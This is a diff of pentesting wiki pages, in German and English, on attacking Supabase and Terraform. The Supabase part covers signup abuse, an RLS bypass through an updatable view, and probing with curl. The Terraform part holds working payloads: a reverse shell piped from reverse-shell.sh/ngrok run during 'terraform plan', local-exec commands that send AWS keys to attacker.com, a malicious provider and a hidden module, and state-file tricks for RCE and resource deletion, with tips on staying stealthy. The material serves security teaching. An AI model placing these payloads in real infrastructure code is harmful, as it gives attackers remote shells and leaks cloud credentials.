Es wird außerdem ein **anon API key** (`role: "anon"`), z. B.: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, generiert, den die Anwendung verwenden muss, um mit der API zu kommunizieren, wie in unserem Beispiel unten gezeigt.
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
Es ist möglich, die REST-API, um diese API anzusprechen, in den [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) zu finden, aber die interessantesten Endpoints wären:
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
<details>
<summary>Signup (/auth/v1/signup)</summary>
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -68,11 +69,13 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
</details>
<details>
<summary>Anmeldung (/auth/v1/token?grant_type=password)</summary>
<summary>Login (/auth/v1/token?grant_type=password)</summary>
```
POST /auth/v1/token?grant_type=password HTTP/2
Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -97,11 +100,12 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
</details>
Also, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
### secret / service_role API-Keys
### secret / service_role api keys
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
@@ -111,9 +115,9 @@ The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzd
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
## Authentifizierung
## Authentication
### Registrierungen
### Signups
> [!TIP]
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
@@ -123,139 +127,146 @@ This is a very bad idea because supabase charges per active user so people could
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
#### Auth: Server-seitige Durchsetzung der Registrierung
#### Auth: Server-side signup enforcement
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
Schneller Test (von einem nicht authentifizierten Client):
Quick test (from an unauthenticated client):
```bash
curl -X POST \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
https://<PROJECT_REF>.supabase.co/auth/v1/signup
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
https://<PROJECT_REF>.supabase.co/auth/v1/signup
```
Expected hardening:
- Deaktivieren Sie E-Mail/Passwort-Registrierungen im Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), oder setzen Sie das entsprechende GoTrue-Setting.
- Stellen Sie sicher, dass die API jetzt 4xx auf den vorherigen Aufruf zurückgibt und kein neuer Benutzer erstellt wird.
- Wenn Sie sich auf Invites oder SSO verlassen, stellen Sie sicher, dass alle anderen Providers deaktiviert sind, sofern sie nicht explizit benötigt werden.
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
- Verify the API now returns 4xx to the previous call and no new user is created.
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
## RLS und Views: Schreib-Bypass via PostgREST
## RLS and Views: Write bypass via PostgREST
Die Verwendung einer Postgres VIEW, um sensible Spalten zu „verbergen“, und deren Exposition über PostgREST kann verändern, wie Berechtigungen bewertet werden. In PostgreSQL:
- Gewöhnliche Views werden standardmäßig mit den Privilegien des View-Owners ausgeführt (definer semantics). In PG ≥15 können Sie `security_invoker` aktivieren.
- Row Level Security (RLS) gilt für Basistabellen. Tabellenbesitzer umgehen RLS, es sei denn, `FORCE ROW LEVEL SECURITY` ist auf der Tabelle gesetzt.
- Updatable views können INSERT/UPDATE/DELETE akzeptieren, die dann auf die Basistabelle angewendet werden. Ohne `WITH CHECK OPTION` können Schreibvorgänge, die nicht mit dem View-Prädikat übereinstimmen, trotzdem erfolgreich sein.
Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgREST can change how privileges are evaluated. In PostgreSQL:
- Ordinary views execute with the privileges of the view owner by default (definer semantics). In PG ≥15 you can opt into `security_invoker`.
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that dont match the view predicate may still succeed.
Beobachtetes Risikomuster in der Praxis:
- Eine View mit reduzierten Spalten wird über Supabase REST bereitgestellt und `anon`/`authenticated` zugewiesen.
- PostgREST erlaubt DML auf der updatable view und die Operation wird mit den Privilegien des View-Owners ausgewertet, wodurch die vorgesehenen RLS-Policies auf der Basistabelle effektiv umgangen werden.
- Ergebnis: Clients mit niedrigen Rechten können massenhaft Zeilen bearbeiten (z. B. Profil-Bios/Avatare), die sie nicht hätten ändern dürfen.
Risk pattern observed in the wild:
- A reduced-column view is exposed through Supabase REST and granted to `anon`/`authenticated`.
- PostgREST allows DML on the updatable view and the operation is evaluated with the view owners privileges, effectively bypassing the intended RLS policies on the base table.
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
Illustrative write via view (attempted from a public client):
Illustratives Schreiben via View (versucht von einem öffentlichen Client):
```bash
curl -X PATCH \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
```
Hardening-Checkliste für Views und RLS:
- Bevorzuge das Freigeben von Basistabellen mit expliziten, nach dem Prinzip der geringsten Rechte vergebenen Berechtigungen und präzisen RLS-Richtlinien.
- Wenn du eine View freigeben musst:
- Mache sie nicht aktualisierbar (z. B. durch Ausdrücke/Joins) oder verweigere `INSERT/UPDATE/DELETE` auf der view für alle nicht vertrauenswürdigen Rollen.
- Erzwinge `ALTER VIEW <v> SET (security_invoker = on)`, sodass die Rechte des Invokers statt der des Owners verwendet werden.
- Auf Basistabellen verwende `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;`, damit selbst Owner der RLS unterliegen.
- Wenn du Schreibzugriffe über eine updatable view erlaubst, füge `WITH [LOCAL|CASCADED] CHECK OPTION` hinzu und ergänze passende RLS auf den Basistabellen, um sicherzustellen, dass nur erlaubte Zeilen geschrieben/geändert werden können.
- In Supabase solltest du `anon`/`authenticated` keine Schreibrechte auf views gewähren, es sei denn, du hast das End-to-End-Verhalten mit Tests verifiziert.
Erkennungstipp:
- Versuche mit `anon` und einem `authenticated` Testuser alle CRUD-Operationen gegen jede exponierte Tabelle/View. Jeder erfolgreiche Schreibzugriff, bei dem du eine Verweigerung erwartet hättest, deutet auf eine Fehlkonfiguration hin.
Hardening checklist for views and RLS:
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
- If you must expose a view:
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invokers privileges are used instead of the owners.
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
### OpenAPI-gesteuertes CRUD-Probing von anon/auth-Rollen
Detection tip:
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
PostgREST stellt ein OpenAPI-Dokument bereit, mit dem du alle REST-Ressourcen auflisten und anschließend automatisch erlaubte Operationen aus Sicht von Rollen mit geringen Rechten prüfen kannst.
### OpenAPI-driven CRUD probing from anon/auth roles
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
Fetch the OpenAPI (works with the public anon key):
Hole das OpenAPI-Dokument (funktioniert mit dem öffentlichen anon key):
```bash
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
```
Sondierungsmuster (Beispiele):
- Eine einzelne Zeile lesen (erwarte 401/403/200 abhängig von RLS):
Probe pattern (examples):
- Read a single row (expect 401/403/200 depending on RLS):
```bash
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
```
- Test UPDATE ist blockiert (verwenden Sie einen nicht existierenden Filter, um zu vermeiden, dass Daten während des Tests verändert werden):
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
```bash
curl -i -X PATCH \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
```
- Test INSERT ist blockiert:
- Test INSERT is blocked:
```bash
curl -i -X POST \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
```
- Prüfen, ob DELETE blockiert ist:
- Test DELETE is blocked:
```bash
curl -i -X DELETE \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
```
Recommendations:
- Automatisiere die vorherigen Probes für sowohl `anon` als auch einen minimalen `authenticated`-User und integriere sie in CI, um Regressionen zu erkennen.
- Behandle jede exponierte table/view/function als gleichwertige Angriffsfläche. Gehe nicht davon aus, dass eine view das gleiche RLS-Verhalten wie ihre Basistabellen "erbt".
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
- Treat every exposed table/view/function as a first-class surface. Dont assume a view “inherits” the same RLS posture as its base tables.
### Passwörter & Sitzungen
### Passwords & sessions
Es ist möglich, die minimale Passwortlänge anzugeben (standardmäßig), Anforderungen (standardmäßig keine) und die Verwendung von leaked passwords zu verbieten.\
Es wird empfohlen, die Anforderungen zu **verschärfen, da die Standardwerte schwach sind**.
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
It's recommended to **improve the requirements as the default ones are weak**.
- User Sessions: Es ist möglich zu konfigurieren, wie User Sessions funktionieren (Timeouts, 1 Session pro Benutzer...)
- Bot and Abuse Protection: Es ist möglich, Captcha zu aktivieren.
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
- Bot and Abuse Protection: It's possible to enable Captcha.
### SMTP-Einstellungen
### SMTP Settings
Es ist möglich, einen SMTP-Server zum Versenden von E-Mails einzurichten.
It's possible to set an SMTP to send emails.
### Erweiterte Einstellungen
### Advanced Settings
- Ablaufzeit für access tokens festlegen (standardmäßig 3600)
- Erkennung und Widerruf potenziell kompromittierter refresh tokens und Timeouts konfigurieren
- MFA: Angeben, wie viele MFA-Faktoren pro Benutzer gleichzeitig registriert werden können (standardmäßig 10)
- Max Direct Database Connections: Maximale Anzahl direkter Verbindungen für Auth (standardmäßig 10)
- Max Request Duration: Maximal erlaubte Dauer einer Auth-Anfrage (standardmäßig 10s)
- Set expire time to access tokens (3600 by default)
- Set to detect and revoke potentially compromised refresh tokens and timeout
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
## Storage
> [!TIP]
> Supabase erlaubt **Dateien zu speichern** und über eine URL zugänglich zu machen (es verwendet S3-Buckets).
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
- Setze das Upload-Dateigrößenlimit (Standard ist 50MB)
- Die S3-Verbindung wird über eine URL angegeben wie: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
- Es ist möglich, **S3 access key** anzufordern, die aus einer `access key ID` (z. B. `a37d96544d82ba90057e0e06131d0a7b`) und einer `secret access key` (z. B. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) bestehen
- Set the upload file size limit (default is 50MB)
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
## Edge Functions
Es ist auch möglich, **secrets zu speichern** in supabase, die dann von **edge functions** zugänglich sind (sie können über das Web erstellt und gelöscht werden, aber deren Werte können nicht direkt eingesehen werden).
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
## References

View File

@@ -1,129 +1,138 @@
# Terraform Sicherheit
# Terraform Security
{{#include ../banners/hacktricks-training.md}}
## Grundlegende Informationen
## Basic Information
[Aus der Dokumentation:](https://developer.hashicorp.com/terraform/intro)
[From the docs:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform ist ein **Infrastructure-as-Code-Tool**, mit dem du sowohl **Cloud- als auch On-Prem-Ressourcen** in menschenlesbaren Konfigurationsdateien definieren kannst, die du versionieren, wiederverwenden und teilen kannst. Du kannst anschließend einen konsistenten Workflow nutzen, um deine gesamte Infrastruktur während ihres gesamten Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Storage- und Netzwerkressourcen sowie höherstufige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten.
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
#### Wie funktioniert Terraform?
#### How does Terraform work?
Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Services über deren Application Programming Interfaces (APIs). Providers ermöglichen es Terraform, mit praktisch jeder Plattform oder jedem Service mit zugänglicher API zu arbeiten.
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
![](<../images/image (177).png>)
HashiCorp und die Terraform-Community haben bereits **mehr als 1700 providers** geschrieben, um Tausende verschiedener Ressourcentypen und Services zu verwalten, und diese Zahl wächst weiter. Du findest alle öffentlich verfügbaren providers im [Terraform Registry](https://registry.terraform.io/), einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen weiteren.
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
Der Kern-Workflow von Terraform besteht aus drei Phasen:
The core Terraform workflow consists of three stages:
- **Write:** Du definierst Ressourcen, die sich über mehrere Cloud-Provider und Services erstrecken können. Zum Beispiel könntest du eine Konfiguration erstellen, um eine Anwendung auf VMs in einem Virtual Private Cloud (VPC)-Netzwerk mit security groups und einem load balancer bereitzustellen.
- **Plan:** Terraform erstellt einen Ausführungsplan, der beschreibt, welche Infrastruktur es basierend auf der vorhandenen Infrastruktur und deiner Konfiguration erstellen, aktualisieren oder löschen wird.
- **Apply:** Nach Bestätigung führt Terraform die vorgeschlagenen Operationen in der richtigen Reihenfolge aus und berücksichtigt dabei etwaige Ressourcenabhängigkeiten. Wenn du beispielsweise die Eigenschaften eines VPC änderst und die Anzahl der VMs in diesem VPC anpasst, wird Terraform das VPC neu erstellen, bevor es die VMs skaliert.
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
![](<../images/image (215).png>)
### Terraform-Labor
### Terraform Lab
Installiere einfach terraform auf deinem Computer.
Just install terraform in your computer.
Hier findest du eine [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) und hier ist der [best way to download terraform](https://www.terraform.io/downloads).
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
## RCE in Terraform: config file poisoning
Terraform **hat keine Plattform, die eine Webseite oder einen Netzwerkdienst** exponiert, den wir enumerieren können; daher ist der einzige Weg, terraform zu kompromittieren, die Möglichkeit, terraform-Konfigurationsdateien hinzuzufügen/zu ändern oder die terraform state file zu modifizieren (siehe Kapitel weiter unten).
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
Terraform ist jedoch eine **sehr sensible Komponente** zum Kompromittieren, da es **privilegierten Zugriff** auf verschiedene Orte haben wird, damit es ordnungsgemäß funktioniert.
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
Der Hauptweg für einen Angreifer, das System, auf dem terraform läuft, zu kompromittieren, ist das Kompromittieren des Repositorys, das die terraform-Konfigurationen speichert, denn irgendwann werden diese ja **interpretiert**.
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
Tatsächlich gibt es Lösungen, die `terraform plan`/`terraform apply` automatisch ausführen, nachdem ein PR erstellt wurde, wie zum Beispiel Atlantis:
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
Wenn du eine terraform-Datei kompromittieren kannst, gibt es verschiedene Wege, RCE zu erreichen, wenn jemand `terraform plan` oder `terraform apply` ausführt.
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
### Terraform plan
Terraform plan ist der **am häufigsten verwendete Befehl** in terraform und Entwickler/Lösungen, die terraform einsetzen, rufen ihn die ganze Zeit auf. Daher ist der **einfachste Weg für RCE**, sicherzustellen, dass du eine terraform-Konfigurationsdatei vergiftest, die willkürliche Befehle in einem `terraform plan` ausführt.
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
**Using an external provider**
Terraform bietet den `external` provider, der eine Schnittstelle zwischen Terraform und externen Programmen bereitstellt. Du kannst die `external` data source verwenden, um beliebigen Code während eines `plan` auszuführen.
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
Das Injizieren von etwas wie dem Folgenden in eine terraform-Konfigurationsdatei wird eine rev shell ausführen, wenn `terraform plan` ausgeführt wird:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Verwendung eines benutzerdefinierten Providers**
Ein Angreifer könnte einen [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) an das [Terraform Registry](https://registry.terraform.io/) senden und ihn dann dem Terraform-Code in einem Feature-Branch hinzufügen ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
**Using a custom provider**
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
```
Der Provider wird beim `init` heruntergeladen und führt den bösartigen Code aus, wenn `plan` ausgeführt wird
Ein Beispiel findest du unter [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
**Externe Referenz verwenden**
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
Beide genannten Optionen sind nützlich, aber nicht sehr stealthy (die zweite ist stealthier, aber komplexer als die erste). Du kannst diesen Angriff sogar auf eine **stealthier way** ausführen, indem du den folgenden Vorschlägen folgst:
**Using an external reference**
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
- Statt die rev shell direkt in die terraform-Datei einzufügen, kannst du eine **externe Ressource laden**, die die rev shell enthält:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Du findest den rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- In der externen Ressource, verwende das **ref** feature, um den **terraform rev shell code in a branch** innerhalb des Repos zu verbergen, so etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply wird ausgeführt, um alle Änderungen anzuwenden, du kannst es auch missbrauchen, um RCE zu erlangen injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:
Du musst nur sicherstellen, dass eine Payload wie die folgenden am Ende der Datei `main.tf` steht:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Befolge die **Vorschläge aus der vorherigen Technik**, um diesen Angriff in einer **unauffälligeren Weise mit externen Referenzen** durchzuführen.
## Geheimnisse ausgeben
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
## Secrets Dumps
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
Du kannst die beim terraform verwendeten **geheimen Werte ausgeben** lassen, wenn du `terraform apply` ausführst, indem du der terraform-Datei etwas wie Folgendes hinzufügst:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
value = nonsensitive(var.do_token)
}
```
## Missbrauch von Terraform State-Dateien
## Abusing Terraform State Files
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
@@ -134,272 +143,296 @@ It is possible to [create a custom provider](https://developer.hashicorp.com/ter
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```
Sobald `terraform` ausgeführt wird, läuft dein Code.
Then, as soon as `terraform` gets executed, your code will run.
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
Es gibt 2 Möglichkeiten, Ressourcen zu zerstören:
There are 2 ways to destroy resources:
1. **Füge eine Ressource mit einem zufälligen Namen in die State-Datei ein, die auf die echte Ressource zum Zerstören zeigt**
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
Weil `terraform` sehen wird, dass die Ressource nicht existieren sollte, wird es sie zerstören (entsprechend der angegebenen echten Ressourcen-ID). Beispiel von der vorherigen Seite:
```json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
